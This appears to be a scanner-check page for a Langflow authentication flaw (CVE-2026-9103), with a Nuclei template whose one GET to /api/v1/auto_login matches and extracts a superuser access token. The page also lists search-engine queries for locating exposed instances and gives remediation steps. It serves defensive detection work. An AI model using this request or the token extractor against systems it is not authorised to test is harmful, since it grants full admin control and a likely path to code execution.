CVE-2026-9103· langflow-ai / langflow· CWE-306
Langflow OSS - Superuser Token Issuance
Langflow OSS with default AUTO_LOGIN exposes `/api/v1/auto_login`, which returns a superuser access token to any unauthenticated request.
Impact
An unauthenticated attacker obtains a superuser access token, granting full control of the Langflow instance including flow creation and execution, which typically leads to remote code execution and access to connected credentials and data sources.
Fix
Disable AUTO_LOGIN by setting `LANGFLOW_AUTO_LOGIN=false`, configure strong superuser credentials, upgrade to a fixed Langflow release, and restrict network exposure of the management interface.
How to confirm it
Send: GET {{BaseURL}}/api/v1/auto_login
Positive when: matches /"access_token"\s*:\s*"[^"\r\n]+"/ AND status 200Run it with nuclei: nuclei -id CVE-2026-9103 -u <target>
The full check
id: CVE-2026-9103
info:
name: Langflow OSS - Superuser Token Issuance
author: str4k3r
severity: critical
description: |
Langflow OSS with default AUTO_LOGIN exposes `/api/v1/auto_login`, which returns a superuser access token to any unauthenticated request.
impact: |
An unauthenticated attacker obtains a superuser access token, granting full control of the Langflow instance including flow creation and execution, which typically leads to remote code execution and access to connected credentials and data sources.
remediation: |
Disable AUTO_LOGIN by setting `LANGFLOW_AUTO_LOGIN=false`, configure strong superuser credentials, upgrade to a fixed Langflow release, and restrict network exposure of the management interface.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-9103
- https://github.com/langflow-ai/langflow
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-9103
epss-score: 0.03208
epss-percentile: 0.8827
cwe-id: CWE-306
metadata:
verified: true
max-request: 1
vendor: langflow-ai
product: langflow
framework: fastapi
shodan-query: http.title:"Langflow"
fofa-query: title="Langflow"
google-query: intitle:"Langflow"
tags: cve,cve2026,langflow,langflow-ai,auth-bypass
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/auto_login"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '"access_token"\s*:\s*"[^"\r\n]+"'
- '"refresh_token"\s*:\s*null'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '"access_token"\s*:\s*"([^"\r\n]+)"'References
Use this check only on systems you are authorised to test. Where the data comes from